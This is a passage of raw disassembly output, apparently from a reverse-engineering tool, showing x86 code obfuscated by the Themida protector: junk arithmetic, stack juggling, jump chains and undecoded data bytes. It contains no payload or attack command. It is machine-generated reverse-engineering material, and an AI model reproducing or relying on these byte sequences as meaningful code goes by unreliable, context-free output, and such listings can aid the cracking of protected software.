		dd 0C1CA840Fh, 5456FFFFh, 0FFEEF3E9h, 242C87FFh, 0AB0F665Ch
		dd 0E99C2404h, 0FFFFB5C3h, 8085F380h, 0CB80D3CBh, 42F380A1h
		dd 50FFC380h, 0E4C09BB4h, 0E9C4FE03h, 0FFFFC4C2h, 53242C89h
		dd 3341E9h, 24048300h, 24148B04h, 4C481h, 0C2810000h, 4
		dd 4B951h, 0CA290000h, 81240C8Bh, 4C4h,	24143300h, 33241431h
		dd 248B2414h, 24348924h, 0FFF9CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AD89:				; CODE XREF: Themida_:00559C81j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_557239
; ---------------------------------------------------------------------------
		dw 0E8BFh
		dd 2962D932h, 0D7295FFAh, 5524148Bh, 0FFD9C7E9h, 4C483FFh
		dd 2C781h, 3C330000h, 55E0E924h, 345A0000h, 5B27E9A1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ADBE:				; CODE XREF: Themida_:0055D919j
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		push	56144F03h
		jmp	loc_55E50E
; ---------------------------------------------------------------------------
		db 81h
		dd 4F79C5E9h, 0A3E98166h, 1AC4FA3h, 5904244Ch, 40558h
		dd 0BA520000h, 4, 9E9D001h, 100000Ch, 0EC815DEBh, 4, 0BE243489h
		dd 192A7DE6h, 348BF301h, 4C48324h, 0EB81C301h, 192A7DE6h
		dd 41DB951h, 0CB296366h, 1661E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AE32:				; CODE XREF: Themida_:00559809j
		pop	eax
		jmp	loc_55A0D7
; ---------------------------------------------------------------------------


loc_55AE38:				; CODE XREF: Themida_:0055A3D6j
		push	ebx
		mov	ebx, 2FF5972h
		push	ebp
		mov	ebp, 58BEC342h
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, ebx
		pop	ebx
		jmp	loc_55DD35
; ---------------------------------------------------------------------------
		db 81h
		dd 7F6AF3h, 0DE895663h,	5E207789h, 2568565Bh, 5E78B978h
		dd 3903E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AE71:				; CODE XREF: Themida_:0055DEFBj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_554A27
; ---------------------------------------------------------------------------


loc_55AE7E:				; CODE XREF: Themida_:0055E553j
		add	eax, edi
		pop	edi
		sub	eax, 4CA501F6h
		add	eax, 5A3B002Eh
		jmp	loc_55E8D9
; ---------------------------------------------------------------------------


loc_55AE90:				; CODE XREF: Themida_:0055EAA1j
		push	ebp
		mov	ebp, 3EDF3D21h
		push	ecx
		mov	ecx, 1E5D72F0h
		add	ecx, 739517E9h
		dec	ecx
		jmp	loc_55AAC4
; ---------------------------------------------------------------------------
		dd 0E905EFC1h, 0FFFFB936h, 905BD55h, 0ED816154h, 2B0B23C9h
		dd 0E538B850h, 0C5293648h, 0D76CE958h, 8B66FFFFh, 9E92404h
		dd 52FFFFD1h, 4C7FBF57h, 3E93F86h, 56FFFFB7h, 1B088ABEh
		dd 63B85043h, 0E93DD00Ah, 0FFFFC8D3h, 0FF2434FFh, 48B2434h
		dd 4EC8324h, 0E9240C89h, 0FFFFA2D8h
; ---------------------------------------------------------------------------


loc_55AF04:				; CODE XREF: Themida_:005599F9j
		add	esp, 4
		and	ecx, eax
		jmp	loc_55D854
; ---------------------------------------------------------------------------
		db 0B3h, 3Bh, 88h
		dd 0C4805BDCh, 1E6BE927h, 485D0000h, 0FFCC8DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AF25:				; CODE XREF: Themida_:0055F3C0j
		sub	eax, edi
		pop	edi
		jmp	loc_556666
; ---------------------------------------------------------------------------


loc_55AF2D:				; CODE XREF: Themida_:0055F27Bj
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, 3DC0487Dh
		add	edx, 2F815832h
		sub	edx, ebx
		sub	edx, 2F815832h
		pop	ebx
		push	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_556411
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 8FBE5658h, 8155420Ah, 0B56CF1E6h, 0DCCE8149h, 5325F65Ch
		dd 0E84216BBh, 0E9DE29F7h, 0FFFF9983h, 665AD020h, 3ABBE952h
		dd 0D3F60000h, 0EBC0C3FEh, 52F38005h, 515BD800h, 503CB353h
		dd 0E588DC88h, 0E8285B58h, 4F00059h, 0A2E0E93Ch, 0E953FFFFh
		dd 1E87h
; ---------------------------------------------------------------------------


loc_55AFA8:				; CODE XREF: Themida_:00556D78j
		pop	esi
		push	ecx
		mov	ecx, 4
		jmp	loc_55B54D
; ---------------------------------------------------------------------------


loc_55AFB4:				; CODE XREF: Themida_:00556FC9j
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_555BF4
; ---------------------------------------------------------------------------
		dw 0B966h
		dd 816657BCh, 0F7042444h, 0A222E931h, 0EB81FFFFh, 0FAC9FCEFh
		dd 815BDD09h, 0EF18D9F5h, 1076053Ch, 852D3751h,	292E7135h
		dd 358505E8h, 762D2E71h, 5D375110h, 489D68h, 242C8900h
		dd 7F7B6853h, 815B4BCBh, 1867CDF3h, 5E3C167h, 0E905E3C1h
		dd 0FFFFA218h, 4685259h, 5A000000h, 3ADE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B02A:				; CODE XREF: Themida_:00556336j
		push	edi
		push	768Dh
		mov	[esp], eax
		mov	eax, 1
		mov	edi, eax
		pop	eax
		sub	eax, 59DF28EBh
		push	ecx
		mov	ecx, 3A9243D2h
		jmp	loc_5576BF
; ---------------------------------------------------------------------------


loc_55B04B:				; CODE XREF: Themida_:00556425j
		add	esp, 4
		push	ecx
		mov	ecx, 7A8C000Fh
		not	ecx
		inc	ecx
		push	0
		sub	dword ptr [esp], 349369EFh
		sub	[esp], ecx
		add	dword ptr [esp], 349369EFh
		pop	ecx
		xchg	ebp, ecx
		not	ebp
		jmp	loc_556BBF
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 4F56E904h, 0CBFE0000h, 50EAF380h, 0C33054B0h, 0FFE928E9h
		dd 38F281FFh, 1223410h,	2434FFD6h, 32F6E9h, 66DF6800h
		dd 0C890000h, 3726E924h, 0EFC10000h, 81D7F705h,	0B1B30EEFh
		dd 0E9F929FEh, 0FFFFE4F9h
; ---------------------------------------------------------------------------


loc_55B0C0:				; CODE XREF: Themida_:0055DD30j
		xor	ecx, 344B2EEEh
		xor	ecx, 8973901Ah
		jmp	loc_555547
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4EC81h, 0C0E90000h, 3100001Ch, 0D0015DEAh, 5124148Bh
		dd 571DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B0ED:				; CODE XREF: Themida_:0055F729j
		pop	dword ptr [esp]
		pop	esp


loc_55B0F1:				; CODE XREF: Themida_:00554F2Fj
					; Themida_:0055D642j
		push	dword ptr [edi+24h]
		push	eax
		mov	eax, 48BB7B5Ah
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	2952h
		jmp	loc_55D6AA
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8704C4h, 24248B24h, 280AE9h, 536FB100h, 0FFCD68E9h
		dd 4BEFFh, 44810000h, 11990424h, 74012009h, 6C810424h
		dd 11990424h, 5B5E2009h, 4C381h, 68520000h, 2, 8BD3015Ah
		dd 3EE92414h, 89FFFFDAh, 15E9242Ch, 81FFFF9Ch, 2B74BBC6h
		dd 0E303E956h, 34FFFFFFh, 0C4815924h, 4, 0B60F66h, 0FFEC53E9h
		dd 0C18166FFh, 29661205h, 816659CEh, 66480AEEh,	0F5EF329h
		dd 6866C0B7h, 8966438Eh, 1BE92404h, 41FFFF97h, 27C3E9h
		dd 241C8B00h, 0FFD07EE9h, 79EA81FFh, 81356025h,	0B11CD7EAh
		dd 5275E9FBh, 0C8B0000h, 0B866824h, 4890000h, 5585424h
		dd 4, 0BB4EE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B1EA:				; CODE XREF: Themida_:0055D8B0j
		sub	edi, 2D3667C3h
		add	edi, ecx
		add	edi, 2D3667C3h
		pop	ecx
		and	eax, edi
		pop	edi
		shr	eax, 12h
		xor	eax, ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_560316
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 2DE9242Ch, 80000058h, 0E1803AC1h,	52B353E1h
		dd 80B8CB80h, 0D93098EBh, 59C8005Bh, 0C32CD800h, 509B68h
		dd 24148900h, 0B21AB753h, 5BFA00BCh, 0F5E9D000h, 46h, 0E8305BFDh
		dd 81240C8Bh, 4C4h, 0FC33000h, 34FFC0B6h, 0C5BE5687h, 0E90AA978h
		dd 0FFFFC526h, 83240C8Bh, 50E904C4h, 53FFFFACh,	0FFC793E9h
		dd 241C89FFh, 0FFD9F3E9h, 0ADEE81FFh, 1FFDB57h,	18E95EF7h
		dd 5900001Bh, 80FDB551h, 0DAE93ACDh, 89FFFFB9h,	1B68240Ch
		dd 8900005Fh, 4832424h,	34FF0424h, 4F62E924h, 0E9570000h
		dd 0FFFFA8FBh, 24048B66h, 4EC81h, 41E90000h, 56FFFFD2h
		dd 0FFAE7CE9h, 4EC81FFh, 89000000h, 8B54240Ch, 0C481240Ch
		dd 4, 3D5E9h, 0EE95F00h, 68FFFFE0h, 650Ah, 0FF242C89h
		dd 8B042474h, 0C481242Ch, 4, 0FF98ABE9h, 0D1FBDFFh, 0ED81013Ch
		dd 23D3450Ah, 40BC581h,	63E938E0h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B31B:				; CODE XREF: Themida_:0055A417j
		add	esi, 8114005h
		xor	esi, 46B759A2h
		dec	esi
		push	3676h
		mov	[esp], eax
		mov	eax, 6E376009h
		dec	eax
		xor	eax, 4FDE142Eh
		add	eax, 6BFA7F4h
		not	eax
		push	edx
		mov	edx, 38042A5Ah
		inc	edx
		add	edx, 3445400h
		neg	edx
		shl	edx, 8
		add	edx, 11EE4092h
		xor	edx, 0D1899B5Eh
		add	eax, edx
		pop	edx
		xor	eax, 0BF9F735Eh
		add	esi, 75347C7Bh
		sub	esi, eax
		jmp	loc_557995
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0E904C483h, 4B32h, 4A5CF05h,	0E9C329FAh, 5929h
; ---------------------------------------------------------------------------


loc_55B38C:				; CODE XREF: Themida_:00559CCDj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_55627C
; ---------------------------------------------------------------------------


loc_55B396:				; CODE XREF: Themida_:005582D4j
		and	edi, 28301084h
		or	edi, 5F9D68E2h
		xor	edi, 5F9D68E6h
		jmp	loc_55BF09
; ---------------------------------------------------------------------------
		db 1, 0FAh, 5Fh
		dd 2B850h, 0EA810000h, 517C2707h, 0C281C201h, 517C2707h
		dd 0FFBD12E9h, 241C89FFh, 2BBh,	2EE95500h, 0B8FFFFFFh
		dd 4E574836h, 9B675235h, 54C1816Fh, 296E7E1Bh, 54E981C1h
		dd 0E96E7E1Bh, 0ACCh
; ---------------------------------------------------------------------------


loc_55B3F4:				; CODE XREF: Themida_:0055D5EDj
		push	7888h
		jmp	loc_55C50D
; ---------------------------------------------------------------------------
		dw 0D4BAh
		dd 315B6864h, 0EF015AD5h, 4CDAE9h, 148B6600h, 0E2895224h
		dd 4BF57h, 8EE90000h, 2DFFFFFFh, 7362415Dh, 0B62CC235h
		dd 0C631E96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B42E:				; CODE XREF: Themida_:005557E7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 4
		add	eax, 4
		jmp	loc_554F84
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 2Dh
		dd 6321C09h, 2404875Bh,	3E2AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B456:				; CODE XREF: Themida_:00560348j
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_55D913
; ---------------------------------------------------------------------------
		dd 2404875Dh, 116685Ch,	3C890000h, 5172BF24h, 4E90C94h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B477:				; CODE XREF: Themida_:0055FB0Bj
		mov	dl, 0
		neg	dl
		not	dl
		xor	dl, 0A8h
		add	bl, 32h
		sub	bl, dl
		sub	bl, 32h
		pop	dx
		sub	bl, 0E0h
		sub	bl, al
		jmp	loc_559955
; ---------------------------------------------------------------------------


loc_55B494:				; CODE XREF: Themida_:0055DC2Bj
		sub	dword ptr [esp], 4CE272F0h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4CE272F0h
		mov	eax, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55B5BD
; ---------------------------------------------------------------------------
		dw 5243h
		dd 847807BAh, 8BD33159h, 0C4832414h, 0F985E904h, 0A0B7FFFFh
		dd 0F800C504h, 0FFBAD6E9h, 4C483FFh, 81E38953h,	4C3h, 4C38300h
		dd 0FFBF74E9h, 6BD6BAFFh, 0E281311Dh, 3F114254h, 0FFFCC0E9h
		dd 0C8B66FFh, 78FB6824h, 34890000h, 7DE6824h, 24890000h
		dd 24048324h, 0D4E95E04h, 8100001Eh, 2EEh, 24348700h, 1489665Ch
		dd 34E95324h, 89FFFFB9h, 0C3BBE9F5h, 0E689FFFFh, 4C681h
		dd 0EE830000h, 24348704h, 3354E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B54D:				; CODE XREF: Themida_:0055AFAFj
		sub	edx, 24F63911h
		add	edx, ecx
		add	edx, 24F63911h
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_5606AA
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aS_35		db '$é]',0Bh,0
		align 2
		dw 0E95Ah
		dd 0FFFFCBD5h, 0E924248Bh, 0FFFF934Eh, 34FFD031h, 8BE95A24h
		dd 8F000026h, 933CE902h, 5358FFFFh, 241C8B54h, 0F669E953h
		dd 895CFFFFh, 5CE959CDh, 68FFFFF8h, 64C2h, 57240C89h, 0D76281BFh
		dd 3EFC10Ah, 6FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B5BD:				; CODE XREF: Themida_:0055B4B9j
		mov	edx, esp
		jmp	loc_55F8AC
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F59h,	0F2B8505Ch, 4825E53Ch, 50E9E955h
		dd 50590000h, 0FFEB53E9h, 0E9D801FFh, 0FFFFDF2Eh, 0D2E953ADh
		dd 0FFFFFFACh, 589D1C77h, 9C240411h, 0FF92D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B5FD:				; CODE XREF: Themida_:0055A653j
		add	eax, ecx
		add	eax, 26093B19h
		pop	ecx
		push	esi
		mov	esi, eax
		mov	edx, esi
		pop	esi
		pop	eax
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	edx
		push	ebx
		push	6EC87FAFh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_558527
; ---------------------------------------------------------------------------
		dd 61A0E281h, 0E2C147A5h, 0D8F28108h, 810E4B5Ah, 0D4052AC2h
		dd 0FFD001F4h, 575A2434h, 0FFBDEAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B649:				; CODE XREF: Themida_:00556F76j
		xchg	ecx, [esp]
		jmp	loc_555710
; ---------------------------------------------------------------------------
aNQZHn		db '­-Q[ÏZ)Øh',8,0
		align 2
		dw 2C89h
		dd 0E9E58924h, 0FFFFDA10h, 0E9240C89h, 0FFFFCD7Ch
; ---------------------------------------------------------------------------


loc_55B670:				; CODE XREF: Themida_:0055E7CFj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55E18C
; ---------------------------------------------------------------------------
		db 0F7h, 0E1h, 68h
		dd 535Bh, 0FF92A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B691:				; CODE XREF: Themida_:00560552j
		or	edx, eax
		shl	edx, 1
		push	1D44h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_55F905
; ---------------------------------------------------------------------------


loc_55B6A8:				; CODE XREF: Themida_:00554E23j
		or	bl, 0D5h
		xor	bl, 7Fh
		not	bl
		or	bl, 3Ah
		inc	bl
		jmp	loc_55DB9E
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 835AD101h, 3C8904ECh, 0E9505324h,	3383h
; ---------------------------------------------------------------------------


loc_55B6D0:				; CODE XREF: Themida_:0055587Dj
		sub	esi, 29212EC2h
		sub	esi, ecx
		jmp	loc_55FC90
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 801622BDh, 0ECF1E961h, 0E95AFFFFh, 211Eh, 56BA5258h
		dd 89C7E576h, 44D8E9D0h, 33680000h, 0E930970Bh,	21ADh
		dd 104C483h, 0F8015DE8h, 78C968h, 243C8900h, 266AD7BFh
		dd 5436E94Bh, 0DA290000h, 0E9241C8Bh, 2C8Fh
; ---------------------------------------------------------------------------


loc_55B72C:				; CODE XREF: Themida_:0055B908j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, edi
		push	ecx
		jmp	loc_5564E5
; ---------------------------------------------------------------------------
		db 0ACh
		dd 81E18951h, 4C1h, 3B7FE900h, 248B0000h, 243CD224h, 30FBE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B756:				; CODE XREF: Themida_:00555D0Aj
		xor	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5DE574FCh
		add	ecx, eax
		jmp	loc_55BB1D
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0E924048Fh, 0FFFF9315h, 835FFA01h, 0EC8304EAh, 1B46E904h
		dd 815C0000h, 4C2h, 0AB84E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B792:				; CODE XREF: Themida_:0055E743j
		pop	esi
		push	esi
		jmp	loc_55C6D7
; ---------------------------------------------------------------------------
		db 2Dh,	0D4h, 6Eh
		dd 630569C4h, 0E96BF57Dh, 0FFFF91F0h, 8B243487h, 48B2424h
		dd 5D5D6824h, 3C890000h, 53E78924h, 8904EC83h, 66BE2434h
		dd 815C581Fh, 0F452F4C6h, 0E7FCE953h, 0BE56FFFFh, 62470F63h
		dd 165BC681h, 0CE3108BDh, 0CE31F131h, 0F7CE8749h, 62F681DEh
		dd 811DC806h, 6F79F1C6h, 344684Ah, 1C890000h, 5BCFBB24h
		dd 0F38158BFh, 1565D8Dh, 0E9575543h, 0FFFFD06Fh, 240C8B66h
		dd 525F5457h, 0FF9E3FE9h, 81CD01FFh, 2E18DFEDh,	2D14E931h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B82A:				; CODE XREF: Themida_:0055E70Bj
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D9C2
; ---------------------------------------------------------------------------


loc_55B842:				; CODE XREF: Themida_:00554C81j
		push	dword ptr [esp]
		pop	ecx
		push	2FD6h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55C769
; ---------------------------------------------------------------------------
		db 80h,	0E3h, 7Ah
		dd 23E9D3F6h, 66FFFFF8h, 9C243CD3h, 0FF9065E9h,	0F1C581FFh
		dd 0E9130544h, 1710h, 18DFC581h, 9EE9312Eh, 2DFFFFFFh
		dd 661554B2h, 24148B5Bh, 0FFE3C1E9h, 0E8C140FFh, 5810D08h
		dd 62D7B94h, 2D16B52Eh,	33F87F6Dh, 8158C389h, 31A75E3h
		dd 0D475E934h, 315CFFFFh, 0BBBF57C3h, 81723A70h, 3861DACFh
		dd 1595E96Ah, 0BE560000h, 78DA2971h, 296FEE81h,	0F50178DAh
		dd 6C6F685Eh, 2C890000h, 0CEC8E924h, 0E9ADFFFFh, 4536h
		dd 885BDA88h, 24148BD1h, 347CE9h, 0E7895700h, 4C781h, 0EF810000h
		dd 4, 0FF9862E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B905:				; CODE XREF: Themida_:005572E3j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55B72C
; ---------------------------------------------------------------------------


loc_55B90D:				; CODE XREF: Themida_:0055762Dj
		push	esi
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 53F36EA2h
		add	ecx, 0AC0D115Eh
		jmp	loc_55F9B3
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0CC61E952h, 0E983FFFFh, 0E07BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B936:				; CODE XREF: Themida_:0055589Fj
		mov	esi, 0CA01736h
		sub	ebp, 19D61BE5h
		add	ebp, esi
		add	ebp, 19D61BE5h
		pop	esi
		and	ecx, ebp
		jmp	loc_55E1F0
; ---------------------------------------------------------------------------


loc_55B951:				; CODE XREF: Themida_:0055CF1Dj
		add	bl, ah
		add	bl, 2Bh
		add	bl, 0B9h
		pop	eax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 0ACE9C361h, 5AFFFFACh, 15B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B96D:				; CODE XREF: Themida_:00559F75j
		mov	ebx, edx
		pop	edx
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_55CC5D
; ---------------------------------------------------------------------------


loc_55B97A:				; CODE XREF: Themida_:0055D31Aj
		sub	ebp, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_559DAA
; ---------------------------------------------------------------------------


loc_55B985:				; CODE XREF: Themida_:0055DDE2j
		or	edi, 51D70F6Ch
		jmp	loc_55F4EF
; ---------------------------------------------------------------------------
		dd 0A940C281h, 0D7019498h, 2AC6815Ah, 12A6B15h,	0E75CE9FEh
		dd 0CA87FFFFh, 90BF5759h, 0C11B552Bh, 0E94703EFh, 0FFFFA35Eh
; ---------------------------------------------------------------------------


loc_55B9B8:				; CODE XREF: Themida_:0055A839j
		xchg	ebp, [esp]
		pop	esp
		sub	esi, 586755C3h
		sub	edi, 50145E64h
		add	edi, esi
		push	ebx
		jmp	loc_55963B
; ---------------------------------------------------------------------------


loc_55B9D0:				; CODE XREF: Themida_:005579BCj
		mov	esi, 3DE6158Fh
		not	esi
		jmp	loc_55A3F8
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFFBAEh, 0BF575E54h, 4, 815FFE01h, 4EEh
		dd 24348700h, 242C895Ch, 0FFC884E9h, 79E981FFh,	0E9C419C3h
		dd 0BBFh, 2404875Ah, 1C53E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BA15:				; CODE XREF: Themida_:00555158j
		xchg	esi, [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, 37B8439Ah
		mov	ebp, ecx
		pop	ecx
		shl	ebp, 6
		add	ebp, 4C442854h
		sub	ebp, 0CDE0DF46h
		xor	esi, ebp
		pop	ebp
		add	esi, 0A4DD7456h
		sub	edx, esi
		pop	esi
		xor	edx, 0A1C8B8E9h
		jmp	loc_556BDD
; ---------------------------------------------------------------------------


loc_55BA51:				; CODE XREF: Themida_:0055A4B0j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 25EF304Bh
		dec	edx
		add	edx, 55444254h
		shr	edx, 4
		add	edx, 628006BBh
		jmp	loc_5607B8
; ---------------------------------------------------------------------------


loc_55BA71:				; CODE XREF: Themida_:0055BB30j
		mov	[esp], ecx
		mov	ecx, 0
		sub	ecx, ebp
		xchg	ecx, ebp
		pop	ecx
		xor	ebp, 142E6693h
		and	ecx, ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_55E3EB
; ---------------------------------------------------------------------------


loc_55BA8F:				; CODE XREF: Themida_:00559366j
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, esp
		jmp	loc_5556BA
; ---------------------------------------------------------------------------
		dd 8EDDE959h, 8B66FFFFh, 0F568240Ch, 89000023h,	58542404h
		dd 0FFBC65E9h, 7DC181FFh, 5F1AE80Fh, 0E9240C87h, 0FFFFB62Ah
; ---------------------------------------------------------------------------


loc_55BAC8:				; CODE XREF: Themida_:0056005Aj
		pop	dword ptr [esp]
		jmp	loc_557D12
; ---------------------------------------------------------------------------
		dd 335FFB01h, 96E9241Ch, 0B8FFFF8Eh, 2A24468Fh,	0C102E8C1h
		dd 0B52D03E0h, 29DDE472h, 0BE5658C3h, 19A37FA5h, 525EF329h
		dd 8E675ABAh, 8BD32920h, 0C4812414h, 4,	0C381C329h, 208E675Ah
		dd 7FA5BF57h, 0FB0119A3h, 2DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BB1D:				; CODE XREF: Themida_:0055B76Aj
		pop	eax
		push	ebp
		mov	ebp, 76D4654Ah
		add	ebp, 74FD2C23h
		sub	esp, 4
		jmp	loc_55BA71
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 5
		dd 468D8F7h, 8900007Ah,	0F8B9240Ch, 292F3669h, 0A00559C8h
		dd 1ABDB4Ch, 24048BC3h,	5204C483h, 0B34255BAh, 0BBEA8149h
		dd 811934DCh, 0D078DDEBh, 1607E97Ah, 0C6810000h, 1C8B2448h
		dd 0C681D6F7h, 73366B5Bh, 53E4C681h, 0F0014666h, 0FFBDE5E9h
		dd 4335FFFh, 24043124h,	5C240433h, 9C240429h, 0FF8D31E9h
		dd 2414F7FFh, 0FA82E95Ah, 23E9FFFFh, 0BAFFFF8Dh, 4, 148BD701h
		dd 4C48324h, 8B243C87h,	2E92424h, 5FFFFBBh, 4, 5C240487h
		dd 66526866h, 241C8966h, 3F2D68h, 24048900h, 88513DB0h
		dd 4EC83C5h, 88241489h,	0E9F388EEh, 4C00h, 0C181E189h
		dd 4, 30BB5350h, 874B5C33h, 0E9D7F7FBh,	1144h, 24042966h
		dd 8CBCE99Ch, 3489FFFFh, 4815024h, 0E32E5B24h, 24348B7Bh
		dd 1672E9h, 80596600h, 0D82839F3h, 5B2434FFh, 5E08950h
		dd 4, 405h, 31B1E900h, 0CA010000h, 4C28359h, 4EC81h, 14890000h
		dd 0E961E924h, 0F331FFFFh, 0E0B9515Eh, 816CD636h, 0F244B5E9h
		dd 19B9E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BC6A:				; CODE XREF: Themida_:00555AF2j
		mov	[esp], eax
		jmp	loc_5548CE
; ---------------------------------------------------------------------------


loc_55BC72:				; CODE XREF: Themida_:0055627Dj
		mov	eax, 1FE11E0Dh
		jmp	loc_557EC9
; ---------------------------------------------------------------------------
		dd 1081E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BC82:				; CODE XREF: Themida_:00559963j
		pop	edx
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_555BA1
; ---------------------------------------------------------------------------
		dd 5306E8C1h, 0FFE057E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BC9D:				; CODE XREF: Themida_:00560CB0j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 3F806A0Ah
		jmp	loc_556692
; ---------------------------------------------------------------------------


loc_55BCB3:				; CODE XREF: Themida_:00557700j
		pop	esp
		jmp	loc_5589F0
; ---------------------------------------------------------------------------
		db 97h,	40h, 97h
		dd 0EC4DEF81h, 2FE9015Ah
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BCC7:				; CODE XREF: Themida_:005564E0j
		push	ebp
		mov	ebp, 288A6916h
		sub	ebp, 19E65661h
		sub	ebp, 0C11EF32Ch
		xor	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_55FD1C
; ---------------------------------------------------------------------------


loc_55BCE2:				; CODE XREF: Themida_:0055D990j
		pop	edi
		and	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		neg	esi
		sub	esi, 0F577FE00h
		and	eax, esi
		jmp	loc_556987
; ---------------------------------------------------------------------------
		db 5Eh,	0F7h, 0D9h
		dd 0C4BCE950h, 0E957FFFFh, 0FFFFD95Dh, 0B9240C89h, 27BFA05Bh
		dd 3F8268h, 242C8900h, 4B74E9h,	2BC18100h, 8B586F49h, 0C4812414h
		dd 4, 8904EC83h, 0BAE92434h, 8100003Ah,	4C3h, 241C8700h
		dd 5DEF015Ch, 2C781h, 3C870000h, 8E95C24h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD57:				; CODE XREF: Themida_:00557F49j
		add	eax, 69106416h
		jmp	loc_558CB7
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 50C8B60Fh, 0EC81E089h, 4, 68241C89h,	5A541E1h, 0F381435Bh
		dd 3535429Bh, 0EB81DBF7h, 66E989E1h, 0F34E381h,	64E94644h
		dd 0ADFFFF9Dh, 207F83h,	8D17840Fh, 0C681FFFFh, 57C33389h
		dd 38EBC681h, 0EE812709h, 5D1C41E2h, 0C681C601h, 5D1C41E2h
		dd 38EBB951h, 0CE292709h, 3835E9h, 4C58100h, 87000000h
		dd 248B242Ch, 4FE66824h, 1C890000h, 9FB65224h, 6603E6C0h
